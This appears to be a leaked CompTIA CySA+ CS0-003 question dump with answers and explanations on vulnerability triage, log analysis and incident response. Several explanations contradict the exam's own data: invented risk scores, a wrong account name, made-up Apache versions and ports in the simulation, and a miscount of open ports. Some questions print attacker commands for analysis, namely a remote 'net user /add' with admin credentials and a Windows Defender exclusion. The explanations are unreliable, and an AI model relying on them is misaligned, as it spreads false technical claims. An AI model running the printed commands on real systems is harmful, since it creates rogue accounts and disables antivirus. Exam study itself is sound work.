

## Exam Questions CS0-003

CompTIA CySA+ Certification Beta Exam

<https://www.2passeasy.com/dumps/CS0-003/>



#### NEW QUESTION 1

Several critical bugs were identified during a vulnerability scan. The SLA risk requirement is that all critical vulnerabilities should be patched within 24 hours. After sending a notification to the asset owners, the patch cannot be deployed due to planned, routine system upgrades. Which of the following is the best method to remediate the bugs?

- A. Reschedule the upgrade and deploy the patch
- B. Request an exception to exclude the patch from installation
- C. Update the risk register and request a change to the SLA
- D. Notify the incident response team and rerun the vulnerability scan

**Answer:** C

#### Explanation:

When a patch cannot be deployed due to conflicting routine system upgrades, updating the risk register and requesting a change to the Service Level Agreement (SLA) is a practical approach. It allows for re-evaluation of the risk and adjustment of the SLA to reflect the current situation.

#### NEW QUESTION 2

A cybersecurity analyst is reviewing SIEM logs and observes consistent requests originating from an internal host to a blocklisted external server. Which of the following best describes the activity that is taking place?

- A. Data exfiltration
- B. Rogue device
- C. Scanning
- D. Beaconsing

**Answer:** D

#### Explanation:

Beaconsing is the best term to describe the activity that is taking place, as it refers to the periodic communication between an infected host and a blocklisted external server. Beaconsing is a common technique used by malware to establish a connection with a command-and-control (C2) server, which can provide instructions, updates, or exfiltration capabilities to the malware. Beaconsing can vary in frequency, duration, and payload, depending on the type and sophistication of the malware. The other terms are not as accurate as beaconsing, as they describe different aspects of malicious activity. Data exfiltration is the unauthorized transfer of data from a compromised system to an external destination, such as a C2 server or a cloud storage service. Data exfiltration can be a goal or a consequence of malware infection, but it does not necessarily involve blocklisted servers or consistent requests. Rogue device is a device that is connected to a network without authorization or proper security controls. Rogue devices can pose a security risk, as they can introduce malware, bypass firewalls, or access sensitive data. However, rogue devices are not necessarily infected with malware or communicating with blocklisted servers. Scanning is the process of probing a network or a system for vulnerabilities, open ports, services, or other information. Scanning can be performed by legitimate administrators or malicious actors, depending on the intent and authorization. Scanning does not imply consistent requests or blocklisted servers, as it can target any network or system.

#### NEW QUESTION 3

An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?

- A. Hard disk
- B. Primary boot partition
- C. Malicious files
- D. Routing table
- E. Static IP address

**Answer:** A

#### Explanation:

The hard disk is the piece of data that should be collected first in order to preserve sensitive information before isolating the server. The hard disk contains all the files and data stored on the server, which may include evidence of malicious activity, such as malware installation, data exfiltration, or configuration changes. The hard disk should be collected using proper forensic techniques, such as creating an image or a copy of the disk and maintaining its integrity using hashing algorithms.

#### NEW QUESTION 4

Which of the following items should be included in a vulnerability scan report? (Choose two.)

- A. Lessons learned
- B. Service-level agreement
- C. Playbook
- D. Affected hosts
- E. Risk score
- F. Education plan

**Answer:** DE

#### Explanation:

A vulnerability scan report should include information about the affected hosts, such as their IP addresses, hostnames, operating systems, and services. It should also include a risk score for each vulnerability, which indicates the severity and potential impact of the vulnerability on the host and the organization. Official References: <https://www.first.org/cvss/>

#### NEW QUESTION 5

A security analyst performs a vulnerability scan. Based on the metrics from the scan results, the analyst must prioritize which hosts to patch. The analyst runs the

tool and receives the following output:

```

Host      CVE: (Vulnerability Name)  Metrics
-----  -----
host01   CVE-2003-99992: (TransAt1)  DDS:NOA:HVT
host02   CVE-2004-99993: (TjBeP)    DDS:AEX:NOA
host03   CVE-2007-99996:
        (NarrowStairs)        RCE:AEX:HVT
host04   CVE-2009-99998:
        (Topendoor)          UDD:NOA

--- metrics ---
DDS: Denial of service vulnerability
RCE: Remote code execution vulnerability
UDD: Unauthorized disclosure of data vulnerability
AEX: Vulnerability is being exploited actively exploited
NOA: No authentication required
HVT: Host is a high value target
HEX: Host is externally available to public Internet

```

Which of the following hosts should be patched first, based on the metrics?

- A. host01
- B. host02
- C. host03
- D. host04

**Answer: C**

**Explanation:**

Host03 should be patched first, based on the metrics, as it has the highest risk score and the highest number of critical vulnerabilities. The risk score is calculated by multiplying the CVSS score by the exposure factor, which is the percentage of systems that are vulnerable to the exploit. Host03 has a risk score of  $10 \times 0.9 = 9$ , which is higher than any other host. Host03 also has 5 critical vulnerabilities, which are the most severe and urgent to fix, as they can allow remote code execution, privilege escalation, or data loss. The other hosts have lower risk scores and lower numbers of critical vulnerabilities, so they can be patched later.

**NEW QUESTION 6**

Which of the following would likely be used to update a dashboard that integrates.....

- A. Webhooks
- B. Extensible Markup Language
- C. Threat feed combination
- D. JavaScript Object Notation

**Answer: D**

**Explanation:**

JavaScript Object Notation (JSON) is commonly used for transmitting data in web applications and would be suitable for updating dashboards that integrate various data sources. It's lightweight and easy to parse and generate.

**NEW QUESTION 7**

A recent penetration test discovered that several employees were enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls. Which of the following would best address this issue?

- A. Increasing training and awareness for all staff
- B. Ensuring that malicious websites cannot be visited
- C. Blocking all scripts downloaded from the internet
- D. Disabling all staff members' ability to run downloaded applications

**Answer: A**

**Explanation:**

Increasing training and awareness for all staff is the best way to address the issue of employees being enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls. This issue is an example of social engineering, which is a technique that exploits human psychology and behavior to manipulate people into performing actions or divulging information that benefit the attackers. Social engineering can take many forms, such as phishing, vishing, baiting, quid pro quo, or impersonation. The best defense against social engineering is to educate and train the staff on how to recognize and avoid common social engineering tactics, such as:

- ? Verifying the identity and legitimacy of the caller or sender before following their instructions or clicking on any links or attachments
- ? Being wary of unsolicited or unexpected requests for information or action, especially if they involve urgency, pressure, or threats
- ? Reporting any suspicious or anomalous activity to the security team or the appropriate authority
- ? Following the organization's policies and procedures on security awareness and best practices

Official References:

- ? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
- ? <https://www.comptia.org/certifications/cybersecurity-analyst>
- ? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

**NEW QUESTION 8**

A security analyst needs to ensure that systems across the organization are protected based on the sensitivity of the content each system hosts. The analyst is working with the respective system owners to help determine the best methodology that seeks to promote confidentiality, availability, and integrity of the data being hosted. Which of the following should the security analyst perform first to categorize and prioritize the respective systems?

- A. Interview the users who access these systems,
- B. Scan the systems to see which vulnerabilities currently exist.
- C. Configure alerts for vendor-specific zero-day exploits.
- D. Determine the asset value of each system.

**Answer:** D

**Explanation:**

Determining the asset value of each system is the best action to perform first, as it helps to categorize and prioritize the systems based on the sensitivity of the data they host. The asset value is a measure of how important a system is to the organization, in terms of its financial, operational, or reputational impact. The asset value can help the security analyst to assign a risk level and a protection level to each system, and to allocate resources accordingly. The other actions are not as effective as determining the asset value, as they do not directly address the goal of promoting confidentiality, availability, and integrity of the data. Interviewing the users who access these systems may provide some insight into how the systems are used and what data they contain, but it may not reflect the actual value or sensitivity of the data from an organizational perspective. Scanning the systems to see which vulnerabilities currently exist may help to identify and remediate some security issues, but it does not help to categorize or prioritize the systems based on their data sensitivity. Configuring alerts for vendor-specific zero-day exploits may help to detect and respond to some emerging threats, but it does not help to protect the systems based on their data sensitivity.

**NEW QUESTION 9**

A Chief Information Security Officer (CISO) is concerned that a specific threat actor who is known to target the company's business type may be able to breach the network and remain inside of it for an extended period of time. Which of the following techniques should be performed to meet the CISO's goals?

- A. Vulnerability scanning
- B. Adversary emulation
- C. Passive discovery
- D. Bug bounty

**Answer:** B

**Explanation:**

The correct answer is B. Adversary emulation. Adversary emulation is a technique that involves mimicking the tactics, techniques, and procedures (TTPs) of a specific threat actor or group to test the effectiveness of the security controls and incident response capabilities of an organization<sup>1</sup>. Adversary emulation can help identify and address the gaps and weaknesses in the security posture of an organization, as well as improve the readiness and skills of the security team. Adversary emulation can also help measure the dwell time, which is the duration that a threat actor remains undetected inside the network<sup>2</sup>. The other options are not the best techniques to meet the CISO's goals. Vulnerability scanning (A) is a technique that involves scanning the network and systems for known vulnerabilities, but it does not simulate a real attack or test the incident response capabilities. Passive discovery © is a technique that involves collecting information about the network and systems without sending any packets or probes, but it does not identify or exploit any vulnerabilities or test the security controls. Bug bounty (D) is a program that involves rewarding external researchers or hackers for finding and reporting vulnerabilities in an organization's systems or applications, but it does not focus on a specific threat actor or group.

**NEW QUESTION 10**

A security analyst is writing a shell script to identify IP addresses from the same country. Which of the following functions would help the analyst achieve the objective?

- A. `function w() { info=$(ping -c 1 $1 | awk -F "/" 'END{print $1}') && echo "$1 | $info" }`
- B. `function x() { info=$(geoipllookup $1) && echo "$1 | $info" }`
- C. `function y() { info=$(dig -x $1 | grep PTR | tail -n 1 ) && echo "$1 | $info" }`
- D. `function z() { info=$(traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $info" }`

**Answer:** B

**Explanation:**

The function that would help the analyst identify IP addresses from the same country is:

```
function x() { info=$(geoipllookup $1) && echo "$1 | $info" }
```

This function takes an IP address as an argument and uses the geoipllookup command to get the geographic location information associated with the IP address, such as the country name, country code, region, city, or latitude and longitude. The function then prints the IP address and the geographic location information, which can help identify any IP addresses that belong to the same country.

**NEW QUESTION 10**

New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy. Which of the following will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy?

- A. Human resources must email a copy of a user agreement to all new employees
- B. Supervisors must get verbal confirmation from new employees indicating they have read the user agreement
- C. All new employees must take a test about the company security policy during the onboarding process
- D. All new employees must sign a user agreement to acknowledge the company security policy

**Answer:** D

**Explanation:**

The best action that the SOC manager can recommend to help ensure new employees are accountable for following the company policy is to require all new

employees to sign a user agreement to acknowledge the company security policy. A user agreement is a document that defines the rights and responsibilities of the users regarding the use of the company's systems, networks, or resources, as well as the consequences of violating the company's security policy. Signing a user agreement can help ensure new employees are aware of and agree to comply with the company security policy, as well as hold them accountable for any breaches or incidents caused by their actions or inactions.

#### NEW QUESTION 14

The analyst reviews the following endpoint log entry:

```
invoke-command -ComputerName clientcomputer1 -Credential xyzcompany\administrator -ScriptBlock (HOSTName)
clientcomputer1

invoke-command -ComputerName clientcomputer1 -Credential xyzcompany\administrator -ScriptBlock (net user /add invoke_ul)
The command completed successfully.
```

Which of the following has occurred?

- A. Registry change
- B. Rename computer
- C. New account introduced
- D. Privilege escalation

**Answer:** C

#### Explanation:

The endpoint log entry shows that a new account named "admin" has been created on a Windows system with a local group membership of "Administrators". This indicates that a new account has been introduced on the system with administrative privileges. This could be a sign of malicious activity, such as privilege escalation or backdoor creation, by an attacker who has compromised the system.

#### NEW QUESTION 16

##### SIMULATION

You are a cybersecurity analyst tasked with interpreting scan data from Company A's servers. You must verify the requirements are being met for all of the servers and recommend changes if you find they are not.

The company's hardening guidelines indicate the following:

- TLS 1.2 is the only version of TLS running.
- Apache 2.4.18 or greater should be used.
- Only default ports should be used.

##### INSTRUCTIONS

using the supplied data, record the status of compliance with the company's guidelines for each server.

The question contains two parts: make sure you complete Part 1 and Part 2. Make recommendations for issues based ONLY on the hardening guidelines provided.

Part 1: AppServ1:

```
AppServ1 AppServ2 AppServ3 AppServ4

root@INFOSEC:~# curl --head appsrv1.fictionalorg.com:443

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c407930177d"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv1.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv1.fictionalorg.com (10.21.4.68)
Host is up (0.042s latency).
rDNS record for 10.21.4.68: inaddrArpa.fictionalorg.com
PORT      STATE SERVICE

```

```
root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv1.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv1.fictionalorg.com (10.21.4.68)
Host is up (0.042s latency).
|_ TLS_RSA_WITH_AES_256_GCM_SHA384 - strong
|_ compressors:
|_ NULL
|_ least strength: strong

Nmap done: 1 IP address (1 host up) scanned in 8.63 seconds

root@INFOSEC:~# nmap --top-ports 10 appsrv1.fictionalorg.com

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-27 10:13 CDT

Nmap scan report for appsrv1.fictionalorg.com (10.21.4.68)
Host is up (0.15s latency).
rDNS record for 10.21.4.68: appsrv1.fictionalorg.com
PORT      STATE SERVICE
80/tcp    open  http
```

AppServ2:

```
AppServ1 AppServ2 AppServ3 AppServ4

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.3.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c407930177d"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv2.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv2.fictionalorg.com (10.21.4.69)
Host is up (0.042s latency).
rDNS record for 10.21.4.69: inaddrArpa.fictionalorg.com
Not shown: 998 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
```

AppServ3:

```
AppServ1 AppServ2 AppServ3 AppServ4

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c406780177e"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv3.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv3.fictionalorg.com (10.21.4.70)
Host is up (0.042s latency).
rDNS record for 10.21.4.70: inaddrArpa.fictionalorg.com
PORT      STATE SERVICE
80/tcp    open  http
443/tcp   open  https
```

AppServ4:

```

AppServ1 AppServ2 AppServ3 AppServ4
SERVER: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c406780177e"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv4.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv4.fictionalorg.com (10.21.4.71)
Host is up (0.042s latency).
rDNS record for 10.21.4.71: inaddrArpa.fictionalorg.com
Not shown: 998 filtered ports
PORT      STATE SERVICE
443/tcp   open  https
| TLSv1.2:
|   ciphers:
|     TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|     TLS_RSA_WITH_AES_128_CBC_SHA - strong
|     TLS_RSA_WITH_AES_128_GCM_SHA256 - strong
2:30:26

```

### Compliance Report

Fill out the following report based on your analysis of the scan data.

- AppServ1 is only using TLS 1.2
- AppServ2 is only using TLS 1.2
- AppServ3 is only using TLS 1.2
- AppServ4 is only using TLS 1.2
- AppServ1 is using Apache 2.4.18 or greater
- AppServ2 is using Apache 2.4.18 or greater
- AppServ3 is using Apache 2.4.18 or greater
- AppServ4 is using Apache 2.4.18 or greater

Part 2:

### Configuration Change Recommendations

**+** Add Recommendation for AppSrv4 ▾

- AppSrv1
- AppSrv2
- AppSrv3
- AppSrv4**

---

**Server** AppSrv4 ▾

- AppSrv3
- AppSrv2
- AppSrv4**
- AppSrv1

**Service** ▾

- HTTPD Security**
- TELNET
- SSH
- MYSQL
- Apache Version

**Config Change** ▾

- Move to Port 443**
- Restrict To TLS 1.2
- Upgrade Version
- Move to Port 22
- Remove or Disable

- A. Mastered
- B. Not Mastered

**Answer:** A

**Explanation:**  
Part 1:

### Compliance Report

Fill out the following report based on your analysis of the scan data.

- AppServ1 is only using TLS 1.2
- AppServ2 is only using TLS 1.2
- AppServ3 is only using TLS 1.2
- AppServ4 is only using TLS 1.2
- AppServ1 is using Apache 2.4.18 or greater
- AppServ2 is using Apache 2.4.18 or greater
- AppServ3 is using Apache 2.4.18 or greater
- AppServ4 is using Apache 2.4.18 or greater

Part 2:  
 Based on the compliance report, I recommend the following changes for each server: AppServ1: No changes are needed for this server.  
 AppServ2: Disable or upgrade TLS 1.0 and TLS 1.1 to TLS 1.2 on this server to ensure secure encryption and communication between clients and the server. Update Apache from version 2.4.17 to version 2.4.18 or greater on this server to fix any potential vulnerabilities or bugs.  
 AppServ3: Downgrade Apache from version 2.4.19 to version 2.4.18 or lower on this server to ensure compatibility and stability with the company's applications and policies. Change the port number from 8080 to either port 80 (for HTTP) or port 443 (for HTTPS) on this server to follow the default port convention and avoid any confusion or conflicts with other services.  
 AppServ4: Update Apache from version 2.4.16 to version 2.4.18 or greater on this server to fix any potential vulnerabilities or bugs. Change the port number from 8443 to either port 80 (for HTTP) or port 443 (for HTTPS) on this server to follow the default port convention and avoid any confusion or conflicts with other services.

**NEW QUESTION 21**

An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:



Which of the following tuning recommendations should the security analyst share?

- A. Set an HttpOnly flag to force communication by HTTPS

- B. Block requests without an X-Frame-Options header
- C. Configure an Access-Control-Allow-Origin header to authorized domains
- D. Disable the cross-origin resource sharing header

**Answer:** B

**Explanation:**

The output shows that the web application is vulnerable to clickjacking attacks, which allow an attacker to overlay a hidden frame on top of a legitimate page and trick users into clicking on malicious links. Blocking requests without an X-Frame-Options header can prevent this attack by instructing the browser to not display the page within a frame.

**NEW QUESTION 24**

An employee is no longer able to log in to an account after updating a browser. The employee usually has several tabs open in the browser. Which of the following attacks was most likely performed?

- A. RFI
- B. LFI
- C. CSRF
- D. XSS

**Answer:** C

**Explanation:**

The most likely attack that was performed is CSRF (Cross-Site Request Forgery). This is an attack that forces a user to execute unwanted actions on a web application in which they are currently authenticated<sup>1</sup>. If the user has several tabs open in the browser, one of them might contain a malicious link or form that sends a request to the web application to change the user's password, email address, or other account settings. The web application will not be able to distinguish between the legitimate requests made by the user and the forged requests made by the attacker. As a result, the user will lose access to their account.

To prevent CSRF attacks, web applications should implement some form of anti-CSRF tokens or other mechanisms that validate the origin and integrity of the requests<sup>2</sup>. These tokens are unique and unpredictable values that are generated by the server and embedded in the forms or URLs that perform state-changing actions. The server will then verify that the token received from the client matches the token stored on the server before processing the request. This way, an attacker cannot forge a valid request without knowing the token value.

Some other possible attacks that are not relevant to this scenario are:

? RFI (Remote File Inclusion) is an attack that allows an attacker to execute malicious code on a web server by including a remote file in a script. This attack does not affect the user's browser or account settings.

? LFI (Local File Inclusion) is an attack that allows an attacker to read or execute local files on a web server by manipulating the input parameters of a script. This attack does not affect the user's browser or account settings.

? XSS (Cross-Site Scripting) is an attack that injects malicious code into a web page that is then executed by the user's browser. This attack can affect the user's browser or account settings, but it requires the user to visit a compromised web page or click on a malicious link. It does not depend on having several tabs open in the browser.

**NEW QUESTION 29**

A security audit for unsecured network services was conducted, and the following output was generated:

```
#nmap --top-ports 7 192.29.0.5
```

PORT	STATE	SERVICE
21	closed	ftp
22	open	ssh
23	filtered	telnet
636	open	ldaps
1723	open	pptp
443	closed	https
3389	closed	ms-term-server

Which of the following services should the security team investigate further? (Select two).

- A. 21
- B. 22
- C. 23
- D. 636
- E. 1723
- F. 3389

**Answer:** CD

**Explanation:**

The output shows the results of a port scan, which is a technique used to identify open ports and services running on a network host. Port scanning can be used by attackers to discover potential vulnerabilities and exploit them, or by defenders to assess the security posture and configuration of their network devices<sup>1</sup>

The output lists six ports that are open on the target host, along with the service name and version associated with each port. The service name indicates the type of application or protocol that is using the port, while the version indicates the specific release or update of the service. The service name and version can provide useful information for both attackers and defenders, as they can reveal the capabilities, features, and weaknesses of the service.

Among the six ports listed, two are particularly risky and should be investigated further by the security team: port 23 and port 636.

Port 23 is used by Telnet, which is an old and insecure protocol for remote login and command execution. Telnet does not encrypt any data transmitted over the network, including usernames and passwords, which makes it vulnerable to eavesdropping, interception, and modification by attackers. Telnet also has many

known vulnerabilities that can allow attackers to gain unauthorized access, execute arbitrary commands, or cause denial-of-service attacks on the target host. Port 636 is used by LDAP over SSL/TLS (LDAPS), which is a protocol for accessing and modifying directory services over a secure connection. LDAPS encrypts the data exchanged between the client and the server using SSL/TLS certificates, which provide authentication, confidentiality, and integrity. However, LDAPS can also be vulnerable to attacks if the certificates are not properly configured, verified, or updated. For example, attackers can use self-signed or expired certificates to perform man-in-the-middle attacks, spoofing attacks, or certificate revocation attacks on LDAPS connections. Therefore, the security team should investigate further why port 23 and port 636 are open on the target host, and what services are running on them. The security team should also consider disabling or replacing these services with more secure alternatives, such as SSH for port 23 and StartTLS for port 636.

**NEW QUESTION 34**

Which of the following is the first step that should be performed when establishing a disaster recovery plan?

- A. Agree on the goals and objectives of the plan
- B. Determine the site to be used during a disaster
- C. Demonstrate adherence to a standard disaster recovery process
- D. Identify applications to be run during a disaster

**Answer:** A

**Explanation:**

The first step that should be performed when establishing a disaster recovery plan is to agree on the goals and objectives of the plan. The goals and objectives of the plan should define what the plan aims to achieve, such as minimizing downtime, restoring critical functions, ensuring data integrity, or meeting compliance requirements. The goals and objectives of the plan should also be aligned with the business needs and priorities of the organization and be measurable and achievable.

**NEW QUESTION 39**

An analyst is suddenly unable to enrich data from the firewall. However, the other open intelligence feeds continue to work. Which of the following is the most likely reason the firewall feed stopped working?

- A. The firewall service account was locked out.
- B. The firewall was using a paid feed.
- C. The firewall certificate expired.
- D. The firewall failed open.

**Answer:** C

**Explanation:**

The firewall certificate expired. If the firewall uses a certificate to authenticate and encrypt the feed, and the certificate expires, the feed will stop working until the certificate is renewed or replaced. This can affect the data enrichment process and the security analysis. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 161.

**NEW QUESTION 40**

A security manager is looking at a third-party vulnerability metric (SMITTEN) to improve upon the company's current method that relies on CVSSv3. Given the following:

**Vulnerability 1**

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Base Score: 7.5 High
SMITTEN: Malware exploitable: No; Exploit Activity: Low; Exposed Externally: No

**Vulnerability 2**

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N - Base Score: 5.4 Medium
SMITTEN: Malware exploitable: Yes; Exploit Activity: HIGH; Exposed Externally: Yes

**Vulnerability 3**

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Base Score: 9.8 Critical
SMITTEN: Malware exploitable: No; Exploit Activity: None; Exposed Externally: Yes

**Vulnerability 4**

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Base Score: 9.9 Critical
SMITTEN: Malware exploitable: Yes; Exploit Activity: Medium; Exposed Externally: No

Which of the following vulnerabilities should be prioritized?

- A. Vulnerability 1
- B. Vulnerability 2
- C. Vulnerability 3
- D. Vulnerability 4

**Answer:** B

**Explanation:**

Vulnerability 2 should be prioritized as it is exploitable, has high exploit activity, and is exposed externally according to the SMITTEN metric. References: Vulnerability Management Metrics: 5 Metrics to Start Measuring in Your Program, Section: Vulnerability Severity.

**NEW QUESTION 44**

Exploit code for a recently disclosed critical software vulnerability was publicly available (or download for several days before being removed). Which of the following CVSS v.3.1 temporal metrics was most impacted by this exposure?

- A. Remediation level
- B. Exploit code maturity
- C. Report confidence
- D. Availability

**Answer:** B

**Explanation:**

Exploit code maturity in the CVSS v.3.1 temporal metrics refers to the reliability and availability of exploit code for a vulnerability. Public availability of exploit code increases the exploit code maturity score.

The availability of exploit code affects the 'Exploit Code Maturity' metric in CVSS v.3.1. This metric evaluates the level of maturity of the exploit that targets the vulnerability. When exploit code is readily available, it suggests a higher level of maturity, indicating that the exploit is more reliable and easier to use.

**NEW QUESTION 45**

Which of following would best mitigate the effects of a new ransomware attack that was not properly stopped by the company antivirus?

- A. Install a firewall.
- B. Implement vulnerability management.
- C. Deploy sandboxing.
- D. Update the application blocklist.

**Answer:** C

**Explanation:**

Sandboxing is a technique that isolates potentially malicious programs or files in a controlled environment, preventing them from affecting the rest of the system. It can help mitigate the effects of a new ransomware attack by preventing it from encrypting or deleting important data or spreading to other devices. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 202; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 210.

**NEW QUESTION 46**

Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

- A. MITRE ATTACK
- B. Cyber Kill Cham
- C. OWASP
- D. STIXTAXII

**Answer:** A

**Explanation:**

MITRE ATT&CK is a framework and knowledge base that describes the tactics, techniques, and procedures (TTPs) used by various adversaries in cyberattacks. MITRE ATT&CK can help security analysts compare TTPs between different known adversaries of an organization, as well as identify patterns, gaps, or trends in adversary behavior. MITRE ATT&CK can also help security analysts improve threat detection, analysis, and response capabilities, as well as share threat intelligence with other organizations or communities

**NEW QUESTION 48**

An organization would like to ensure its cloud infrastructure has a hardened configuration. A requirement is to create a server image that can be deployed with a secure template. Which of the following is the best resource to ensure secure configuration?

- A. CIS Benchmarks
- B. PCI DSS
- C. OWASP Top Ten
- D. ISO 27001

**Answer:** A

**Explanation:**

The best resource to ensure secure configuration of cloud infrastructure is A. CIS Benchmarks. CIS Benchmarks are a set of prescriptive configuration recommendations for various technologies, including cloud providers, operating systems, network devices, and server software. They are developed by a global community of cybersecurity experts and help organizations protect their systems against threats more confidently. PCI DSS, OWASP Top Ten, and ISO 27001 are also important standards for information security, but they are not focused on providing specific guidance for hardening cloud infrastructure. PCI DSS is a

compliance scheme for payment card transactions, OWASP Top Ten is a list of common web application security risks, and ISO 27001 is a framework for establishing and maintaining an information security management system. These standards may have some relevance for cloud security, but they are not as comprehensive and detailed as CIS Benchmarks

#### NEW QUESTION 52

An employee downloads a freeware program to change the desktop to the classic look of legacy Windows. Shortly after the employee installs the program, a high volume of random DNS queries begin to originate from the system. An investigation on the system reveals the following: Add-MpPreference -ExclusionPath '%Program Files\kysysconfig' Which of the following is possibly occurring?

- A. Persistence
- B. Privilege escalation
- C. Credential harvesting
- D. Defense evasion

**Answer:** D

#### Explanation:

Defense evasion is the technique of avoiding detection or prevention by security tools or mechanisms. In this case, the freeware program is likely a malware that generates random DNS queries to communicate with a command and control server or exfiltrate data. The command Add-MpPreference -ExclusionPath '%Program Files\kysysconfig' is used to add an exclusion path to Windows Defender, which is a built-in antivirus software, to prevent it from scanning the malware folder. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 204; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 212. pr

#### NEW QUESTION 55

An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to?

- A. PCI Security Standards Council
- B. Local law enforcement
- C. Federal law enforcement
- D. Card issuer

**Answer:** D

#### Explanation:

Under the terms of PCI DSS, an organization that has experienced a breach of customer transactions should report the breach to the card issuer. The card issuer is the financial institution that issues the payment cards to the customers and that is responsible for authorizing and processing the transactions. The card issuer may have specific reporting requirements and procedures for the organization to follow in the event of a breach. The organization should also notify other parties that may be affected by the breach, such as customers, law enforcement, or regulators, depending on the nature and scope of the breach. Official References: <https://www.pcisecuritystandards.org/>

#### NEW QUESTION 57

Which of the following is often used to keep the number of alerts to a manageable level when establishing a process to track and analyze violations?

- A. Log retention
- B. Log rotation
- C. Maximum log size
- D. Threshold value

**Answer:** D

#### Explanation:

A threshold value is a parameter that defines the minimum or maximum level of a metric or event that triggers an alert. For example, a threshold value can be set to alert when the number of failed login attempts exceeds 10 in an hour, or when the CPU usage drops below 20% for more than 15 minutes. By setting a threshold value, the process can filter out irrelevant or insignificant alerts and focus on the ones that indicate a potential problem or anomaly. A threshold value can help to reduce the noise and false positives in the alert system, and improve the efficiency and accuracy of the analysis<sup>12</sup>

#### NEW QUESTION 58

During an incident, analysts need to rapidly investigate by the investigation and leadership teams. Which of the following best describes how PII should be safeguarded during an incident?

- A. Implement data encryption and close the data so only the company has access.
- B. Ensure permissions are limited in the investigation team and encrypt the data.
- C. Implement data encryption and create a standardized procedure for deleting data that is no longer needed.
- D. Ensure that permissions are open only to the company.

**Answer:** B

#### Explanation:

The best option to safeguard PII during an incident is to ensure permissions are limited in the investigation team and encrypt the data. This is because limiting permissions reduces the risk of unauthorized access or leakage of sensitive data, and encryption protects the data from being read or modified by anyone who does not have the decryption key. Option A is not correct because closing the data may hinder the investigation process and prevent collaboration with other parties who may need access to the data. Option C is not correct because deleting data that is no longer needed may violate legal or regulatory requirements for data retention, and may also destroy potential evidence for the incident. Option D is not correct because opening permissions to the company may expose the data to more people than necessary, increasing the risk of compromise or misuse.

References: CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition, Chapter 4, "Data Protection and Privacy Practices", page 195; CompTIA CySA+ Certification Exam Objectives Version 4.0, Domain 4.0 "Compliance and Assessment", Objective 4.1 "Given a scenario, analyze data as part of a security

incident”, Sub-objective “Data encryption”, page 23

CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition : CompTIA CySA+ Certification Exam Objectives Version 4.0.pdf)

### NEW QUESTION 62

A cybersecurity analyst notices unusual network scanning activity coming from a country that the company does not do business with. Which of the following is the best mitigation technique?

- A. Geoblock the offending source country
- B. Block the IP range of the scans at the network firewall.
